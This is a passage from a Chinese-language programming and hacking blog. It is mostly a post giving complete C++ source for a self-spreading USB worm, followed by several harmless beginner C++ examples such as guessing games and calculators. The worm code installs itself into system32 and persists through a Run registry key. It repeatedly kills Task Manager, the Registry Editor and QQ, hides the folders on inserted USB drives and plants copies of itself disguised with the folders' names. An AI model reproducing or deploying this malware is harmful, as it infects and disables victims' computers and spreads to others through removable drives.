• 首頁
  • 產品
    • 所有產品
    • 歐維斯瀏覽器
  • 關於我們
facebook Email

歐維斯福利設

Always Security Blog

最近無聊,來研究一些簡單的免殺技術還有傳播技術,以下是我為大家整理的C++(或C)語言的免殺技術和傳播技術的實現,這算是一支很老套簡單的病毒:
1、程式執行後將自身複製到C:\\WINDOWS\\system32\\資料夾下,並命名為vrius.exe。

2、在登陸檔HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 下寫入鍵值,實現程式開機啟動。


3、程式定時器每秒啟發一次,如果發現:註冊表、工作管理員被打開,立即將其關閉。

4、程式每秒枚舉一次開啟的所有程式,如發現QQ進程,立即將其結束(無論是已登錄還是正在登陸)。

5、程式執行後檢測是否有可移動設備插入(隨身碟)。若隨身碟插入,會有WM_DEVICECHANGE消息產生。
如果發現有隨身碟插插入,獲取隨身碟插磁碟代號,列出隨身碟插根目錄下存在的資料夾,將這些文件夾的屬性設置為系統加隱藏屬性。此時隨身碟插中的目錄(文件夾)將全部不可見,拷貝C:\\WINDOWS\\system32\\virus.exe到U盤,程序名為U盤下文件夾的文件名加上.exe。比如你的隨身碟插本來有一個Virus資料夾,現在我將其屬性設為系統文件+隱藏。然後把C:\\WINDOWS\\system32\\virus.exe拷貝到隨身碟並將其命名為Virus.exe
一般用戶的【隱藏已知文件名的擴展名】是打著勾的。如果我們將我們的程序的圖標改成文件夾的圖標。是不會發現異常的。
當用戶打開隨身碟插,單擊“資料夾”時,就啟發了我們的程式,程式運行,自我複制。
這樣就實現了我們的“木馬”,通過U盤等可移動設備傳播。 。


接下來是程式碼的部分,我是模仿我之前朋友中過的一個病毒的行為:

注意:這個專案在建置的時候請選視窗程式(或叫Windows From),這樣才不會產生一個consale(主控台視窗)。


#include "stdafx.h"
#include <windows.h>
#include <Dbt.h>
#include <iostream>
#include"io.h"
#include "tlhelp32.h" 
using namespace std;
LRESULT CALLBACK WndProc(
  HWND hwnd,      // handle to window
  UINT uMsg,      // message identifier
  WPARAM wParam,  // first message parameter
  LPARAM lParam   // second message parameter
);

void KillProcess(HWND hwnd);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    WNDCLASS wndclass;
    wndclass.cbClsExtra=0;
  wndclass.cbWndExtra=0;
  wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
  wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
  wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
  wndclass.hInstance=hInstance;
  wndclass.lpfnWndProc=WndProc;
  wndclass.lpszClassName="lieying";
  wndclass.lpszMenuName=NULL;
  wndclass.style=CS_VREDRAW|CS_HREDRAW;

  RegisterClass(&wndclass);             //註冊視窗類

  HWND hwnd;
  hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
  ShowWindow(hwnd,SW_HIDE);       //隐藏視窗
  UpdateWindow(hwnd);
    MSG msg;
  while(GetMessage(&msg,hwnd,0,0))      //主迴圈
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }

  return 0;
}


LRESULT CALLBACK WndProc( HWND hwnd,   UINT uMsg,   WPARAM wParam,   LPARAM lParam  )   

{
  switch(uMsg)
  {

     case WM_PAINT:
       {
           PAINTSTRUCT ps;
             BeginPaint(hwnd,&ps);
           EndPaint(hwnd,&ps);
           break;
       }

     case WM_CLOSE:
       {
         DestroyWindow(hwnd);
           break;
       }

     case WM_DESTROY:
       {
         PostQuitMessage(0);
               break;
       }
     case WM_CREATE:                                //在視窗創建時,修改註冊表,實現開機啟動。
       {

                SetTimer(hwnd,1,1000,NULL);           //設定定時器,每秒調用一次

        //自我複製置系統目錄
        TCHAR ExeFullPath[MAX_PATH];
        GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //取得執行檔的路徑、名稱

          TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe";  //複製
        CopyFile(ExeFullPath,NewFilePath,TRUE);  


        //改註冊表。
        HKEY hkey;
        TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe";  
        TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
        RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue));
        RegCloseKey(hkey);

         break;
       }


    case WM_DEVICECHANGE:          //誰身蝶插入的消息
      {
        if(lParam!=0)
        {
          PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定義PDEV_BROADCAST_HDR結構,系統填充結構訊息。
          if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)            
          {
            if(wParam==DBT_DEVICEARRIVAL)                       //隨身碟已經可以使用
            {
                long i,j;
              TCHAR buf[100];
              TCHAR *cdbuf;
              j=100;
              i=GetLogicalDriveStrings(j,buf);
              for(j=0;j<i;j+=4)
              {
                cdbuf=&buf[j];
                if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //確定一下插入的是不是磁碟,不然其他的東西像:滑鼠等就沒用
                {

                  TCHAR FileName[MAX_PATH];
                  strcpy(FileName,cdbuf);
                  TCHAR f[MAX_PATH]=TEXT("\\*.");
                  strcat(FileName,f);
                   struct _finddata_t files;
                   int File_Handle;
                   int i=0;
                   File_Handle = _findfirst(FileName,&files);              
                   if(File_Handle==-1)
                   {
                     break;
                   }

                   do
                   {
                    TCHAR temp[MAX_PATH];
                    strcpy(temp,strcat(cdbuf,"\\"));
                                        strcat(cdbuf,files.name);
                                        //正常顯示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
                                        SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //設定資料夾為隱藏、系統檔。
                    CopyFile("C:\\WINDOWS\\system32\\virus.exe",strcat(cdbuf,".exe"),FALSE); //將病毒複製到隨身碟,並用原資料夾名來命名。
                     i++;
                     strcpy(cdbuf,temp);
                   }
                  while(0==_findnext(File_Handle,&files));
                   _findclose(File_Handle);
                   //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
                }
              }

            }
          }
        }

      }
      break;



    case WM_TIMER:                                   //處理WM_TIMER消息
      {
           HWND hwReg=FindWindow("RegEdit_RegEdit","注册表编辑器");       //尋找註冊表編輯器
           if(hwReg!=NULL)
           {
             SendMessage(hwReg,WM_CLOSE,NULL,NULL);                     //如果找到就關閉
           }

           HWND hwTsk=FindWindow("#32770","Windows 任务管理器");          //找工作管理員
           if(hwTsk!=NULL)
           {
                        SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //一樣,找到就關
           }

           HWND hwQQ=FindWindow("TXGuiFoundation",NULL);             //找QQ
           if(hwQQ!=NULL)
           {
                        KillProcess(hwnd);  //關掉QQ
           }
      }
      break;



       default:
       {
          return DefWindowProc(hwnd,uMsg,wParam,lParam);
          break;
       }
  }

  return 0;
}




void KillProcess(HWND hwnd)  //關QQ
{  
     //   TODO:   Add   your   control   notification   handler   code   here  
     //   PROCESSENTRY32結構对象
       PROCESSENTRY32 pe;  
       pe.dwSize = sizeof(PROCESSENTRY32);  
     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  
      //   從第一個開始找
     Process32First(hSnapshot, &pe);  
   
     TCHAR szFile[MAX_PATH];
        int p;  


     //   下面对系统中的所有进程进行枚举
     do{  
             lstrcpy(szFile, pe.szExeFile);
             p = lstrcmp(szFile, "QQ.exe");
             if(0 == p)   //if(strlen(pe.szExeFile)>0)判斷是否為系統
               {
                   HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID);   
                    

                     //取得他
                   if(h)   
                           TerminateProcess(h, 0);  //關閉
                         //break;
             }   
         }while(Process32Next(hSnapshot, &pe));


      
    CloseHandle(hSnapshot);
}
Share
Tweet
Share
2 意見

#include <iostream>
#include <cstdlib>
#include <ctime>
using namespace std;
void game(int,int,int);
int main(void)
{
    int answer;
    int left=1,right=10000;
    srand(time(NULL));  //產生亂數
    answer = rand( ) % 10000;//取餘數,產生介於1~10000之間的亂數
    while(1)
    {
        int guess;
        cout<<"目前範圍 "<<left<<" ~ "<<right<<" ,請猜:";
        cin>>guess;
        if(guess > right || guess < left) exit(1);
        if(guess == answer) break;
        else {
          if(guess > answer) right = guess;
          else left = guess;
        }    
    }
    cout<<"您猜對了 ~"<<endl;
    return 0;
}
Share
Tweet
Share
1 意見

#include <iostream>
using namespace std;
int main()
{
   int answer=27;                                     //設定數字解答
   int guess;                      
   cout<<"請在1~100之間猜一個數字:";
   cin>>guess;
   if( guess==answer ) cout<<"恭喜你猜對了!"<<endl;   //猜中了
   else if ( guess<answer ){                          //猜的數字小於解答
       cout<<"猜的數字太小了"<<endl;
       if(answer-guess<=5)cout<<"不過很接近了!"<<endl;   //和解答很接近
   }
   else  {
       cout<<"猜的數字太大了"<<endl;                //猜的數字大於解答
       if(guess-answer<=5)cout<<"不過很接近了!"<<endl;  //和解答很接近
   }
               
   return 0;
}
Share
Tweet
Share
No 意見

#include <iostream>
using namespace std;
int add(int,int);
int sub(int,int);
int mul(int,int);
float divide(int,int);
int main(void)
{
    int a,b;
    char choice;
    cout<<"請輸入您的計算式:";
    cin>>a>>choice>>b;
    switch(choice) {
        case '+': cout<<a<<" + "<<b<<" = "<<add(a,b); break;
        case '-': cout<<a<<" - "<<b<<" = "<<sub(a,b); break;
        case '*': cout<<a<<" * "<<b<<" = "<<mul(a,b); break;
        case '/': cout<<a<<" / "<<b<<" = "<<divide(a,b); break;
        default: break;
      }
    return 0;
}
int add(int a,int b)
{
  return a+b;
}
int sub(int a,int b)
{
  return a-b;
}
int mul(int a,int b)
{
  return a*b;
}
float divide(int a,int b)
{
  return (float)a/b;
}
Share
Tweet
Share
No 意見
#include <iostream>
using namespace std;

int main()
{
    int x=1;     //宣告整數變數x,並將其初值設為1
    int y=2;     //宣告整數變數y,並將其初值設為2  
    cout<<x+y<<endl;   //印出x+y的結果
   
    return 0;
}
Share
Tweet
Share
No 意見

#include <iostream>
#include <stdlib.h>
using namespace std;
int main()
{
    cout<<"Hello World!"<<endl;
    system("pause");
    return 0;
}
Share
Tweet
Share
No 意見
/*編譯成test.exe後,假設存放在:
D:\cpp files\test
打開命令提示字元(按下win + R,打cmd),輸入:
D:\cpp files\test\test.exe 87
*/
#include <iostream>
using namespace std;
int main(int argc,char *argv[])
{
  int i;
  cout<<"argc = "<<argc<<endl;
  for(i=0;i<argc;i++)
    cout<<argv[i]<<endl;
  return 0;
}
Share
Tweet
Share
No 意見

#include <iostream>
#include <cstdlib>
#include <ctime>
#define SIZE 20
using namespace std;
int search(int [ ],int,int,int);
int main(void)
{
    int i,a[SIZE],from=0,key;
    srand(time(NULL));  //亂數產生陣列元素值
    for(i=0;i<SIZE;i++)
      a[i] = rand( ) % 10 + 1;  
    cout<<"請輸入欲搜尋的值(1~10)";
    cin>>key;
    while(from < SIZE) {
      int ans;
      ans = search(a,from,SIZE,key);
      if(ans == -1) {
        if(!from)    
          cout<<key<<" not found\n";
        break;
      } else {
            cout<<key<<" found at a["<<ans<<"] = "<<a[ans]<<endl;
            from = ans + 1;
      }
    }
    return 0;
}
int search(int a[ ],int from,int size,int key)
{
   int i;
   for(i=from;i<size;i++)
     if(a[i] == key)
       return i;
   return -1;      
}
Share
Tweet
Share
No 意見

#include <iostream>
using namespace std;
void vset(int,int);
void rset(int*,int);
int main(void)
{
  int x=0,*p;           //宣告變數x及整數指標p
  p = &x;             //取得變數x的位址(將p指向x)
  vset(x,1);            
  cout<<"x = "<<x;
  rset(p,1);            //將指標當作引數來傳遞進函式
  cout<<"x = "<<x;
  return 0;
}
void vset(int x,int y)
{
  x = y;
}
void rset(int *p,int y)
{
  *p = y;              //間接存取變數x
}
Share
Tweet
Share
No 意見

#include <iostream>
using namespace std;
int Mystrcmp(char *,char *);
int main(void)
{
  int result;
  char word1[ ] = "I like C";    //字串1
  char word2[ ] = "This is fun";  //字串2
  result = Mystrcmp(word1,word2);
  if(!result)
    cout<<"word1 equal word2\n";
  else
    cout<<"word1 does not equal word2\n";
  return 0;
}
int Mystrcmp(char *str1,char *str2)
{
  int i;
  for(i=0;!(*(str1+i) == '\0' && *(str2+i) == '\0'); i++)
    if(*(str1+i) != *(str2+i)) return -1;
  return 0;
}
Share
Tweet
Share
No 意見

#include <iostream>
using namespace std;
void Mystrcpy(char *,char *);
int main(void)
{
  int result;
  char word1[ ] = "I like C";
  char word2[ ] = "This is fun";
  Mystrcpy(word1,word2);
  cout<<"word2 = "<<word2<<endl;
  return 0;
}
void Mystrcpy(char *str1,char *str2)
{
  int i;
  for(i=0;*(str1+i)!='\0';i++)
  *(str2+i) = *(str1+i);
  *(str2 + i) = '\0';
}
Share
Tweet
Share
1 意見

#include <iostream>
#include <fstream>
using namespace std;
char* encode(char*);
char* decode(char*);
int main(void)
{
  char ch,str[80];
  cout<<"請輸入字串:";
  gets(str);
  cout<<"您要 1)加密 2)解密 :";
  cin>>ch;
  if(ch == '1') {
    cout<<"After encode : ";
    cout<<encode(str);
  } else if (ch == '2') {
    cout<<"After decode :";
    cout<<decode(str);
  } else
    cout<<"Unknown input";
  return 0;
}
char* encode(char *str)
{
      char *r=str;
      while(*str) {
        *str = *str + 13;
        str++;
      }  
      return r;
}
char* decode(char *str)
{
      char *r=str;
      while(*str) {
        *str = *str - 13;
        str++;
      }
      return r;
}
Share
Tweet
Share
No 意見

#include <iostream>
#include <string.h>
using namespace std;
void exclude(char*,char*);
int main(void)
{
  char str1[] = "what a wonderful world!";
  char str2[] = "wonderful";  //要去除的文字
  exclude(str1,str2);
  cout<<str1<<endl;
  return 0;
}
void exclude(char *s1,char *s2)
{
  int i, s2_len = strlen(s2);
  for(i=0; i<(int)strlen(s1) - s2_len; i++){
    if(!strncmp(s1+i, s2, s2_len)){
      strcpy(s1+i, s1+i+s2_len);
      i--;                
    }
  }
}
Share
Tweet
Share
No 意見

#include <iostream>
#define CPU "Central Processing Unit"  //定義字串
#define PI 3.14159  //定義常數
using namespace std;
int main(void)
{
    cout<<"CPU is short for "<<CPU<<endl;
    cout<<"π= "<<PI<<endl;
    return 0;
}
Share
Tweet
Share
No 意見
#include <iostream>
#define SWAP(x,y,t) (t = x, x = y, y = t)  //定義巨集
using namespace std;
int main(void)
{
    int x=3,y=4,temp;
    SWAP(x,y,temp);  //呼叫巨集
    cout<<"x = "<<x<<" y = "<<y<<endl;
 return 0;
}
Share
Tweet
Share
No 意見

#include <iostream>
#define add(x,y)      ((x)+(y))
#define minus(x,y)    ((x)-(y))
#define multiply(x,y) ((x)*(y))
#define divide(x,y)   ((double)(x)/(y))
using namespace std;
int main(void)
{
    int a,b;
    char choice;
    cout<<"請輸入您的計算式:";
    cin>>a>>choice>>b;
    switch(choice) {
        case '+': cout<<a<<"+"<<b<<"="<<add(a,b); break;
        case '-': cout<<a<<"-"<<b<<"="<<minus(a,b); break;
        case '*': cout<<a<<"*"<<b<<"="<<multiply(a,b); break;
        case '/': cout<<a<<"/"<<b<<"="<<divide(a,b); break;
        default: break;
      }
    return 0;
}
Share
Tweet
Share
No 意見
#include <iostream>      //插入標頭檔
using namespace std;

int main()  //main函式
{  //程式區塊開始
    int number;     //宣告變數
    number=0;
    cout<<number<<endl;  //將變數輸出,演示變數宣告成功
 
    return 0;
}  //程式區塊結束
Share
Tweet
Share
No 意見
相信大家都知道電腦裡可以「跑」的東西叫程式吧!!!(廢話)那大家都知道任何的資料(包括程式、圖檔等...)存放在電腦底層都是0和1吧!!因為如此一來只須找到一種物質能輕易保持兩種型態就可以拿來做為電腦的晶片了,事情當然是越簡單越好嘛!因為廠商很懶...不是,是因為越簡單越好控制,也可以越做越小...哀,扯太遠了,拉回來。好,所以現在我們知道程式是
由1和0所組成...ㄟ,不對阿,我看駭都可以打一些程式碼...不用廢話,就是1跟0,我知道,一定沒人看得懂1、0阿,所以我們假設有一對資料長這樣:
Share
Tweet
Share
No 意見
較新的文章
較舊的文章

FACEBOOK

歐維斯福利社

熱門文章

  • 【Windows 全攻略】各版本Windows ISO 下載
  • 【超狂】微軟各產品KMS序號大全!!!
  • 【c++範例】輸出、入變數的值
  • 【電腦秘笈】如何下載YouTube的影片?只需兩個步驟!!!(不用安裝軟體)
  • 最詳盡的CMD命令大全

標籤

C語言範例 C++ C++範例 駭客教學 電腦秘笈 Windows Windows高手秘笈 資安Q&A 病毒 C語言 程式設計 免費軟體 新鮮事 木馬程式 C語言病毒 Python SQL 檔案下載 硬體 Tor 序號大全 沙盒 測試樣本 登錄檔操作 GTA5 信息蒐集 外掛 底層 影音相關軟體 遊戲

開站以來瀏覽量

文章存檔

  • 7月 2019 (1)
  • 5月 2019 (1)
  • 12月 2018 (3)
  • 8月 2018 (2)
  • 7月 2018 (1)
  • 6月 2018 (1)
  • 4月 2018 (3)
  • 3月 2018 (4)
  • 2月 2018 (2)
  • 12月 2017 (2)
  • 11月 2017 (4)
  • 10月 2017 (3)
  • 9月 2017 (18)
  • 8月 2017 (28)
  • 7月 2017 (7)
  • 6月 2017 (3)
  • 5月 2017 (3)

歐維斯版權所有|未經許可禁止轉載